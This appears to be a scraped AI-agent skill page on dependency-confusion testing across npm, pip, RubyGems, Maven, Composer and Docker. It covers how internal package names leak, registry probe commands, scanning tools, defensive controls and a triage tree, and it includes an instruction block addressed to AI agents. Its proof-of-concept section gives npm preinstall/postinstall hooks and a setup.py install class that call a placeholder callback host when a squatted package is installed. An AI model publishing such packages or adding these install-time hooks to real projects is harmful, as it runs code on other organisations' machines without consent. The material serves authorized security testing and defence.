Loading...
Loading...
Supply-chain testing via package-manager dependency confusion: when internal package names resolve to attacker-controlled public registries, leading to malicious install and script execution. Use for npm/pip/gem/Maven/Composer/Docker manifest review and authorized red-team supply-chain exercises.
npx skill4agent add yaklang/hack-skills dependency-confusionAI LOAD INSTRUCTION: Expert dependency-confusion methodology. Covers how private package names leak, how public registries can win version resolution, ecosystem-specific pitfalls (npm scopes, pip extra indexes, Maven repo order), recon commands, non-destructive PoC patterns (callbacks, not data exfil), and defensive controls. Pair with supply-chain recon workflows when manifests or CI caches are in scope. Only use on systems and programs you are authorized to test.
installbuildrecon-for-sec@org-scope/internal-utilsacme-billing-sdk9.9.91.2.3preinstallpostinstall| Ecosystem | Typical manifest | Confusion angle |
|---|---|---|
| npm | | Scoped packages ( |
| pip | | |
| RubyGems | | |
| Maven | | Repository declaration order and mirror settings; a public repo publishing the same |
| Composer | | Packagist is default; private packages without |
| Docker | | Typosquatting on container registries (e.g. public hub) for images with names similar to internal base images. |
package.jsonrequirements.txtGemfilepom.xmlcomposer.json.npmrc.pypirc# npm — metadata for a name (unscoped)
npm view some-internal-package-name version
# npm — scoped (requires scope to exist / be readable)
npm view @some-scope/internal-lib versions --json
# PyPI — dry-run style version probe (adjust name; fails if not found)
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'
# RubyGems — query remote
gem search '^some-internal-package-name$' --remote
# Maven Central — search coordinates (example pattern)
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"^1.0.09.9.9package.json{
"name": "some-internal-package-name",
"version": "9.9.9",
"description": "authorized dependency-confusion PoC only",
"scripts": {
"preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
}
}package.json{
"scripts": {
"postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
}
}# setup.py (excerpt)
from setuptools import setup
from setuptools.command.install import install
class PoCInstall(install):
def run(self):
import urllib.request
urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
install.run(self)
setup(
name="some-internal-package-name",
version="9.9.9",
cmdclass={"install": PoCInstall},
)0xsapra/dependency-confusion-exploit| Tool | Role |
|---|---|
| visma-prodsec/confused | Scans manifest files for dependency names that may be claimable on public registries (multi-ecosystem). |
| synacktiv/DepFuzzer | Automated dependency confusion testing workflows (use strictly in-scope). |
@org-scope/pkg.npmrcregistrypackage-lock.jsonpoetry.lockGemfile.lockcomposer.lock--extra-index-url--index-urlrepositoriescanonical: trueDo manifests reference package names that could be non-unique globally?
├─ NO → Dependency confusion unlikely from naming alone; pivot to typosquatting / compromised accounts.
└─ YES
├─ Is the private registry the ONLY source for that name (scoped + .npmrc / single index / mirror)?
│ ├─ YES → Lower risk; still verify CI and developer machines do not override config.
│ └─ NO → HIGH RISK
│ ├─ Can a public registry publish a HIGHER version inside declared ranges?
│ │ ├─ YES → Treat as exploitable in authorized tests; prove with callback PoC.
│ │ └─ NO → Check pre-release tags, local `file:` deps, and stale lockfiles.
│ └─ Are lifecycle scripts disabled/blocked in CI? (reduces impact, does not remove squat risk)recon-for-sec